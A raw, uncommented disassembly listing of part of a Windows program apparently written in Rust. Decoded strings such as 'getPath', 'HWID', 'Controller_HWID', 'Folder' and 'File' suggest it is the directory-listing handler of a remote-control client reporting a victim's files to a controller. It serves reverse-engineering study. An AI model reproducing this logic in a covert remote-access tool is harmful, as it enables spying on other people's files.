lea rcx, [rbp + 0x2a50]
call fcn.14000e5e2
mov rcx, qword [rbp + 0x2670]
mov rdx, qword [rbp + 0x2678]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
jmp 0x140026044
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea rcx, [rbp + 0x2400]
call fcn.14000f88f
mov byte [rbp + 0x2cc3], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov r10, qword [rbp + 0x2d20]
mov rax, qword [r10 + 0x40]
lea rcx, [rbp + 0x10]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [r10 + 0x30]
movdqa xmmword [rcx], xmm0
mov rsi, qword [rbp + 0x2400]
mov r8, qword [rbp + 0x2410]
mov r9, qword [rbp + 0x2ca0]
mov rax, qword [rbp + 0x2cb0]
mov rdx, qword [r10 + 0x18]
mov r10, qword [r10 + 0x28]
mov byte [rbp + 0x2cc3], 0
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov rdx, rsi
call fcn.140016a80
mov rdx, qword [rbp + 0x2408]
mov rcx, rsi
lea r8, str.getPathFolder1970_1_1_00:00:00_Y__m__d__H:_M:_S____
push 7
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002674e
lea rdx, str.Path
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
test rax, rax
je 0x14002689c
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x1400268cb
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002690c
lea r8, [0x14012278e]
push 0xc
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400267f5
lea rdx, [0x140121aa7]
lea rcx, [rbp + 0x23b0]
push 6
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140027b8d
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140027bce
lea r8, [0x14012279a]
push 0xc
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140027ae6
lea rdx, [0x140121aa7]
lea rcx, [rbp + 0x23b0]
push 6
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140027e71
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140027eb2
mov byte [rbp + 0x2d77], 1
push 1
pop rcx
xor edx, edx
call fcn.1400814b3
mov byte [rax], 0x2f
mov qword [rbp + 0x2390], rax
mov qword [rbp + 0x2398], rdx
mov qword [rbp + 0x23a0], 1
jmp 0x140026931
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea rcx, [rbp + 0x2390]
call fcn.14000f88f
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rax, qword [rbp + 0x2d20]
lea rdx, [rax + 0x30]
lea rcx, [rbp + 0x26c8]
call fcn.140018341
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2af8]
call fcn.1400474b0
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2950]
call fcn.1400474b0
mov rbx, qword [rbp + 0x2390]
mov r8, qword [rbp + 0x23a0]
lea rcx, [rbp + 0x10]
mov rdx, rbx
call fcn.1400abac0
mov edi, dword [rbp + 0x20]
mov r14, qword [rbp + 0x10]
cmp edi, 2
jne 0x140026ace
mov qword [rbp + 0x2c10], r14
lea r9, [rbp + 0x2400]
lea rax, [rbp + 0x2c10]
mov qword [r9], rax
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, str.Failed_to_read_directory:
lea rcx, [rbp + 0x10]
push 1
pop r8
call fcn.14000c3a4
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x2080], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2090], rax
lea rcx, [rbp + 0x2400]
lea rdx, [rbp + 0x26c8]
call fcn.140018341
mov rdx, qword [rbp + 0x2af8]
mov r8, qword [rbp + 0x2b08]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rdx, qword [rbp + 0x2950]
mov r8, qword [rbp + 0x2960]
lea rcx, [rbp + 0x10]
call fcn.1400474b0
mov rsi, qword [rbp + 0x26e0]
mov r9, qword [rbp + 0x26f0]
mov rdi, qword [rbp + 0x10]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x2080]
lea rdx, [rbp + 0x2400]
mov r8, rsi
call fcn.14001587b
mov rcx, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2088]
call fcn.140047b8c
mov rdx, qword [rbp + 0x18]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x26e8]
mov rcx, rsi
call fcn.140047b8c
lea rcx, [rbp + 0x2c10]
call fcn.14000d499
jmp 0x140027aa5
lea rdx, [rbp + 0x24]
mov rbx, qword [rdx - 0xc]
lea rsi, [rbp + 0x26f4]
mov r8d, 0x254
mov rcx, rsi
call sub.msvcrt.dll_memcpy
push 1
pop rax
lea rcx, [rbp + 0x2b80]
mov qword [rcx], rax
pxor xmm6, xmm6
movdqu xmmword [rcx + 8], xmm6
lea rcx, [rbp + 0x2980]
mov qword [rcx], rax
movdqu xmmword [rcx + 8], xmm6
mov qword [rsi - 0x14], r14
mov qword [rsi - 0xc], rbx
mov dword [rsi - 4], edi
lea r15, [rbp + 0x18]
lea r14, [rbp + 0x2080]
lea rdi, [rbp + 0x2400]
lea rbx, [rbp + 0x2c10]
lea r13, [rbp + 0x2ba0]
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x26e0]
call fcn.140095a00
cmp qword [rbp + 0x10], 0
je 0x140027474
mov r8d, 0x258
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_memcpy
cmp qword [rbp + 0x2080], 0
je 0x140027467
mov r8d, 0x258
mov rcx, rdi
mov rdx, r15
call sub.msvcrt.dll_memcpy
lea rcx, [rbp + 0x2b20]
mov rdx, rdi
call fcn.140095c40
mov r12, qword [rbp + 0x2b20]
mov rsi, qword [rbp + 0x2b30]
mov qword [rbp + 0x2c00], r12
mov rcx, r12
mov rdx, rsi
call fcn.14009a640
test rax, rax
je 0x140027442
mov rcx, rax
call fcn.1400077f8
test rax, rax
je 0x140027442
mov qword [rbp + 0x2300], rax
mov qword [rbp + 0x2308], rdx
mov qword [rbp + 0x2c00], r12
mov rcx, r12
mov rdx, rsi
call fcn.1400976e0
test al, al
je 0x140026c9e
mov qword [rbp + 0x2c00], r12
mov rcx, rbx
mov rdx, r12
mov r8, rsi
call fcn.140007529
cmp dword [rbp + 0x2c10], 2
mov qword [rbp + 0x2d68], r12
jne 0x140026d67
mov rax, qword [rbp + 0x2c18]
mov qword [rbp + 0x29a0], rax
lea rax, [rbp + 0x29a0]
mov qword [rbp + 0x2ba0], rax
lea rax, [fcn.140092dd0]
mov qword [rbp + 0x2ba8], rax
mov qword [rsp + 0x20], 1
lea rbx, [rbp + 0x2a70]
mov rcx, rbx
lea rdx, str.Failed_to_retrieve_metadata:
push 2
pop r8
mov r9, r13
call fcn.14000c3a4
mov rcx, rbx
call fcn.140099510
mov r12, qword [rbp + 0x2d68]
mov qword [rbp + 0x2c00], r12
lea rcx, [rbp + 0x29a0]
call fcn.14000d499
lea rbx, [rbp + 0x2c10]
jmp 0x140026e89
mov qword [rbp + 0x2c00], r12
mov rcx, r12
mov rdx, rsi
call case.0x140096364.193
test al, al
je 0x140027442
mov qword [rbp + 0x2c00], r12
mov rcx, rbx
mov rdx, r12
mov r8, rsi
call fcn.140007529
cmp dword [rbp + 0x2c10], 2
mov qword [rbp + 0x2d68], r12
jne 0x14002709d
mov rax, qword [rbp + 0x2c18]
mov qword [rbp + 0x29a0], rax
lea rax, [rbp + 0x29a0]
mov qword [rbp + 0x2ba0], rax
lea rax, [fcn.140092dd0]
mov qword [rbp + 0x2ba8], rax
mov qword [rsp + 0x20], 1
lea rbx, [rbp + 0x2a70]
mov rcx, rbx
lea rdx, str.Failed_to_retrieve_metadata:
push 2
pop r8
mov r9, r13
call fcn.14000c3a4
mov rcx, rbx
call fcn.140099510
mov r12, qword [rbp + 0x2d68]
mov qword [rbp + 0x2c00], r12
lea rcx, [rbp + 0x29a0]
call fcn.14000d499
lea rbx, [rbp + 0x2c10]
and qword [rbp + 0x2360], 0
jmp 0x1400271cd
mov rax, qword [rbp + 0x2c40]
mov qword [rbp + 0x2c14], rax
and dword [rbp + 0x2c10], 0
mov qword [rbp + 0x2c00], r12
lea rcx, [rbp + 0x2670]
mov rdx, rbx
call fcn.14000f8ba
cmp dword [rbp + 0x2670], 0
je 0x140026e89
mov rcx, qword [rbp + 0x2674]
movabs rdx, 0x19db1ded53e8000
sub rdx, rcx
movabs rax, 0xfe624e212ac18000
add rax, rcx
movabs r8, 0x19db1ded53e7fff
cmp rcx, r8
cmovle rax, rdx
xor edx, edx
mov r9d, 0x989680
div r9
cmp rcx, r8
mov ecx, 0
cmovle rax, rcx
mov qword [rbp + 0x2a50], rax
lea rax, [rbp + 0x2a50]
mov qword [rbp + 0x2ba0], rax
lea rax, [fcn.1400493f0]
mov qword [rbp + 0x2ba8], rax
mov qword [rbp + 0x2c00], r12
mov qword [rsp + 0x20], 1
mov rcx, rbx
lea rdx, str.called__Option::unwrap____on_a__None__value
push 1
pop r8
mov r9, r13
call fcn.14000c3a4
mov qword [rbp + 0x2c00], r12
lea rcx, [rbp + 0x2a70]
mov rdx, rbx
call fcn.14000ff7c
mov rdx, qword [rbp + 0x2a70]
lea rax, [rbp + 0x2a78]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x29a0], xmm0
test rdx, rdx
je 0x140026e89
mov qword [rbp + 0x2a00], rdx
movdqa xmm0, xmmword [rbp + 0x29a0]
lea rax, [rbp + 0x2a08]
movdqu xmmword [rax], xmm0
mov r8, qword [rbp + 0x2a10]
jmp 0x140026ea5
mov qword [rbp + 0x2a00], 1
lea rax, [rbp + 0x2a08]
movdqu xmmword [rax], xmm6
xor r8d, r8d
push 1
pop rdx
mov rcx, rbx
call fcn.140053e10
cmp byte [rbp + 0x2c10], 0
jne 0x140026ebf
mov rdx, qword [rbp + 0x2c18]
jmp 0x140026ec1
xor edx, edx
mov qword [rbp + 0x23f0], r12
lea rcx, [rbp + 0x2a70]
call fcn.1400108cc
mov eax, dword [rbp + 0x2a70]
cmp rax, 2
je 0x140026f0c
cmp eax, 1
jne 0x140026f46
mov qword [rbp + 0x23f0], r12
mov rcx, rbx
lea rdx, [rbp + 0x2a74]
call fcn.140010dd4
lea rcx, [rbp + 0x2670]
mov rdx, rbx
call fcn.140009860
jmp 0x140026f31
mov qword [rbp + 0x23f0], r12
mov rcx, rbx
lea rdx, [rbp + 0x2a84]
call fcn.140010dd4
lea rcx, [rbp + 0x2670]
mov rdx, rbx
call fcn.140009860
mov rcx, qword [rbp + 0x2c68]
mov rdx, qword [rbp + 0x2c70]
call fcn.1400ce1c6
jmp 0x140026f95
mov qword [rbp + 0x23f0], r12
push 0x11
pop rcx
xor edx, edx
call fcn.1400814b3
movdqu xmm0, xmmword [0x140121aad]
movdqu xmmword [rax], xmm0
mov byte [rax + 0x10], 0x30
mov qword [rbp + 0x2670], rax
mov qword [rbp + 0x2678], rdx
mov qword [rbp + 0x2680], 0x11
mov rax, qword [rbp + 0x2b20]
mov qword [rbp + 0x2d68], rax
mov rsi, qword [rbp + 0x2b30]
mov r12, r13
mov rcx, r13
mov rdx, qword [rbp + 0x2d68]
mov r8, rsi
call fcn.1400a7240
lea rax, [rbp + 0x2300]
mov qword [rbp + 0x2c10], rax
lea rax, [0x14008f7a0]
mov qword [rbp + 0x2c18], rax
mov qword [rbp + 0x2c20], r12
lea rax, [0x140060ea3]
mov qword [rbp + 0x2c28], rax
lea rax, [rbp + 0x2670]
mov qword [rbp + 0x2c30], rax
lea rax, [0x140010290]
mov qword [rbp + 0x2c38], rax
mov qword [rsp + 0x20], 3
lea rsi, [rbp + 0x2a70]
mov rcx, rsi
lea rdx, str.called__Option::unwrap____on_a__None__value
push 4
pop r8
mov r9, rbx
call fcn.14000c3a4
lea rcx, [rbp + 0x29a0]
mov rdx, rsi
call fcn.14000ff7c
mov rcx, r13
call fcn.14000e03d
mov r8, qword [rbp + 0x29b0]
mov qword [rbp + 0x2c20], r8
movdqu xmm0, xmmword [rbp + 0x29a0]
movdqa xmmword [rbp + 0x2c10], xmm0
mov rsi, qword [rbp + 0x2c10]
lea rcx, [rbp + 0x2b80]
mov rdx, rsi
call fcn.140047d41
mov rdx, qword [rbp + 0x2c18]
mov rcx, rsi
call fcn.140047b8c
mov rcx, qword [rbp + 0x2670]
mov rdx, qword [rbp + 0x2678]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
jmp 0x140027436
mov rax, qword [rbp + 0x2c40]
mov rcx, qword [rbp + 0x2c48]
mov qword [rbp + 0x2360], rcx
mov qword [rbp + 0x2c14], rax
and dword [rbp + 0x2c10], 0
mov qword [rbp + 0x2c00], r12
lea rcx, [rbp + 0x2670]
mov rdx, rbx
call fcn.14000f8ba
cmp dword [rbp + 0x2670], 0
je 0x1400271cd
mov rcx, qword [rbp + 0x2674]
movabs rdx, 0x19db1ded53e8000
sub rdx, rcx
movabs rax, 0xfe624e212ac18000
add rax, rcx
movabs r8, 0x19db1ded53e7fff
cmp rcx, r8
cmovle rax, rdx
xor edx, edx
mov r9d, 0x989680
div r9
cmp rcx, r8
mov ecx, 0
cmovle rax, rcx
mov qword [rbp + 0x2a00], rax
lea rax, [rbp + 0x2a00]
mov qword [rbp + 0x2ba0], rax
lea rax, [fcn.1400493f0]
mov qword [rbp + 0x2ba8], rax
mov qword [rbp + 0x2c00], r12
mov qword [rsp + 0x20], 1
mov rcx, rbx
lea rdx, str.called__Option::unwrap____on_a__None__value
push 1
pop r8
mov r9, r13
call fcn.14000c3a4
mov qword [rbp + 0x2c00], r12
lea rcx, [rbp + 0x2a70]
mov rdx, rbx
call fcn.14000ff7c
mov rdx, qword [rbp + 0x2a70]
lea rax, [rbp + 0x2a78]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x29a0], xmm0
test rdx, rdx
je 0x1400271cd
mov qword [rbp + 0x2a50], rdx
movdqa xmm0, xmmword [rbp + 0x29a0]
lea rax, [rbp + 0x2a58]
movdqu xmmword [rax], xmm0
mov r8, qword [rbp + 0x2a60]
jmp 0x1400271e9
mov qword [rbp + 0x2a50], 1
lea rax, [rbp + 0x2a58]
movdqu xmmword [rax], xmm6
xor r8d, r8d
push 1
pop rdx
mov rcx, rbx
call fcn.140053e10
cmp byte [rbp + 0x2c10], 0
jne 0x140027203
mov rdx, qword [rbp + 0x2c18]
jmp 0x140027205
xor edx, edx
mov qword [rbp + 0x23f8], r12
lea rcx, [rbp + 0x2a70]
call fcn.1400108cc
mov eax, dword [rbp + 0x2a70]
cmp rax, 2
je 0x140027250
cmp eax, 1
jne 0x14002728a
mov qword [rbp + 0x23f8], r12
mov rcx, rbx
lea rdx, [rbp + 0x2a74]
call fcn.140010dd4
lea rcx, [rbp + 0x2a00]
mov rdx, rbx
call fcn.140009860
jmp 0x140027275
mov qword [rbp + 0x23f8], r12
mov rcx, rbx
lea rdx, [rbp + 0x2a84]
call fcn.140010dd4
lea rcx, [rbp + 0x2a00]
mov rdx, rbx
call fcn.140009860
mov rcx, qword [rbp + 0x2c68]
mov rdx, qword [rbp + 0x2c70]
call fcn.1400ce1c6
jmp 0x1400272d9
mov qword [rbp + 0x23f8], r12
push 0x11
pop rcx
xor edx, edx
call fcn.1400814b3
movdqu xmm0, xmmword [0x140121aad]
movdqu xmmword [rax], xmm0
mov byte [rax + 0x10], 0x30
mov qword [rbp + 0x2a00], rax
mov qword [rbp + 0x2a08], rdx
mov qword [rbp + 0x2a10], 0x11
mov rax, qword [rbp + 0x2b20]
mov qword [rbp + 0x2d68], rax
mov rsi, qword [rbp + 0x2b30]
mov qword [rbp + 0x2670], 1
lea rax, [rbp + 0x2678]
movdqu xmmword [rax], xmm6
mov r12, r13
mov rcx, r13
mov rdx, qword [rbp + 0x2d68]
mov r8, rsi
call fcn.1400a7240
lea rax, [rbp + 0x2300]
mov qword [rbp + 0x2c10], rax
lea rax, [0x14008f7a0]
mov qword [rbp + 0x2c18], rax
mov qword [rbp + 0x2c20], r12
lea rax, [0x140060ea3]
mov qword [rbp + 0x2c28], rax
lea rax, [rbp + 0x2360]
mov qword [rbp + 0x2c30], rax
lea rax, [fcn.1400493f0]
mov qword [rbp + 0x2c38], rax
lea rax, [rbp + 0x2a00]
mov qword [rbp + 0x2c40], rax
lea rcx, [0x140010290]
mov qword [rbp + 0x2c48], rcx
lea rax, [rbp + 0x2670]
mov qword [rbp + 0x2c50], rax
mov qword [rbp + 0x2c58], rcx
mov qword [rsp + 0x20], 5
lea rsi, [rbp + 0x2a70]
mov rcx, rsi
lea rdx, str.called__Option::unwrap____on_a__None__value
push 6
pop r8
mov r9, rbx
call fcn.14000c3a4
lea rcx, [rbp + 0x29a0]
mov rdx, rsi
call fcn.14000ff7c
mov rcx, r13
call fcn.14000e03d
mov r8, qword [rbp + 0x29b0]
mov qword [rbp + 0x2c20], r8
movdqu xmm0, xmmword [rbp + 0x29a0]
movdqa xmmword [rbp + 0x2c10], xmm0
mov rsi, qword [rbp + 0x2c10]
lea rcx, [rbp + 0x2980]
mov rdx, rsi
call fcn.140047d41
mov rdx, qword [rbp + 0x2c18]
mov rcx, rsi
call fcn.140047b8c
mov rcx, qword [rbp + 0x2670]
mov rdx, qword [rbp + 0x2678]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a50]
mov rdx, qword [rbp + 0x2a58]
call fcn.140047b8c
mov r12, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2b28]
mov rcx, r12
call fcn.140047b8c
mov rcx, rdi
call fcn.14000ec56
cmp qword [rbp + 0x2080], 0
jne 0x140026b3b
mov rcx, r14
call fcn.14000f405
jmp 0x140026b3b
lea rcx, [rbp + 0x26e0]
call fcn.14000d0a9
mov ecx, 0x1e0
call fcn.14001018f
mov qword [rbp + 0x2d68], rax
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
push 7
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax + 3], 0x68746150
mov dword [rax], 0x50746567
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x2c30], rcx
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2c20], xmm1
movdqa xmmword [rbp + 0x2c10], xmm0
mov byte [rbp + 0x2c38], 5
mov ecx, dword [rbp + 0x26e0]
mov r8d, dword [rbp + 0x26e3]
mov dword [rbp + 0x2c39], ecx
mov dword [rbp + 0x2c3c], r8d
mov qword [rbp + 0x2c40], rax
mov qword [rbp + 0x2c48], rdx
mov qword [rbp + 0x2c50], 7
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2950]
mov r8, qword [rbp + 0x2960]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2080], xmm0
movdqa xmmword [rbp + 0x2090], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20a0], rax
mov byte [rbp + 0x20a8], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x20a9], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x20b8], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x20c0], rax
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0xe
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2af8]
mov r8, qword [rbp + 0x2b08]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2400], xmm0
movdqa xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x2429], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x2438], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x2440], rax
push 6
pop r14
mov rcx, r14
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7265
mov dword [rax], 0x646c6f46
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2b80]
mov r8, qword [rbp + 0x2b90]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2a87], rax
movups xmm0, xmmword [rbp + 0x26e0]
movups xmmword [rbp + 0x2a77], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x26e0], xmm0
movdqa xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqu xmmword [rbp + 0x2709], xmm0
mov rax, qword [rbp + 0x2a7f]
mov qword [rbp + 0x2718], rax
mov rax, qword [rbp + 0x2a87]
mov qword [rbp + 0x2720], rax
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x656c6946
mov qword [rbp + 0x2a78], rax
mov qword [rbp + 0x2a80], rdx
mov qword [rbp + 0x2a88], 4
mov byte [rbp + 0x2a70], 5
mov rdx, qword [rbp + 0x2980]
mov r8, qword [rbp + 0x2990]
lea rcx, [rbp + 0x10]
call fcn.1400474b0
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x2b37], rax
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x2b27], xmm0
movups xmm0, xmmword [rbp + 0x2a70]
movdqu xmm1, xmmword [rbp + 0x2a80]
movaps xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x20], xmm1
mov rax, qword [rbp + 0x2a90]
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x38], 5
movdqu xmm0, xmmword [rbp + 0x2b20]
movdqu xmmword [rbp + 0x39], xmm0
mov rax, qword [rbp + 0x2b2f]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x2b37]
mov qword [rbp + 0x50], rax
push 0xb
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x50746e6572727543
mov qword [rax], rcx
mov dword [rax + 7], 0x68746150
mov qword [rbp + 0x2a78], rax
mov qword [rbp + 0x2a80], rdx
mov qword [rbp + 0x2a88], 0xb
mov byte [rbp + 0x2a70], 5
mov rbx, qword [rbp + 0x2390]
mov r8, qword [rbp + 0x23a0]
lea rcx, [rbp + 0x2b20]
mov rdx, rbx
call fcn.1400474b0
mov rax, qword [rbp + 0x2b30]
mov qword [rbp + 0x2bb7], rax
movups xmm0, xmmword [rbp + 0x2b20]
movups xmmword [rbp + 0x2ba7], xmm0
movups xmm0, xmmword [rbp + 0x2a70]
movups xmm1, xmmword [rbp + 0x2a80]
movaps xmmword [rbp + 0x2b20], xmm0
movaps xmmword [rbp + 0x2b30], xmm1
mov rax, qword [rbp + 0x2a90]
mov qword [rbp + 0x2b40], rax
movups xmm0, xmmword [rbp + 0x2ba0]
movaps xmmword [rbp + 0x29a0], xmm0
mov rax, qword [rbp + 0x2baf]
mov qword [rbp + 0x29af], rax
mov rax, qword [rbp + 0x2bb7]
mov qword [rbp + 0x29b7], rax
push 0xa
pop rax
lea rsi, [rbp + 0x2c10]
mov rcx, rax
mov r8, qword [rbp + 0x2d68]
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0x50]
lea rsi, [rbp + 0x2080]
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xa0]
lea rsi, [rbp + 0x2400]
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xf0]
lea rdx, [rbp + 0x26e0]
mov rcx, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdi, r8
add rdi, 0x140
lea rsi, [rbp + 0x10]
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2b40]
mov qword [r8 + 0x1b0], rax
movaps xmm0, xmmword [rbp + 0x2b20]
movdqa xmm1, xmmword [rbp + 0x2b30]
movdqu xmmword [r8 + 0x1a0], xmm1
movups xmmword [r8 + 0x190], xmm0
mov byte [r8 + 0x1b8], 5
movups xmm0, xmmword [rbp + 0x29af]
movups xmmword [r8 + 0x1c8], xmm0
movdqa xmm0, xmmword [rbp + 0x29a0]
movdqu xmmword [r8 + 0x1b9], xmm0
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], r14
mov byte [rdx], 8
lea rcx, [rbp + 0x2080]
call fcn.140077c9a
mov rdx, qword [rbp + 0x2080]
mov r8, qword [rbp + 0x2090]
lea rcx, [rbp + 0x2400]
mov qword [rbp + 0x2d68], rdx
call fcn.14001545f
lea rdi, [rbp + 0x2a70]
lea rcx, [rbp + 0x26c8]
call fcn.1400182d8
mov rsi, qword [rbp + 0x2400]
mov r8, qword [rbp + 0x2410]
lea rcx, [rbp + 0x26c8]
mov rdx, rsi
call fcn.1400181b0
test rax, rax
je 0x140027a51
mov qword [rbp + 0x2a70], rax
lea r9, [rbp + 0x2c10]
mov qword [r9], rdi
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140121a28]
lea rcx, [rbp + 0x10]
push 2
pop r8
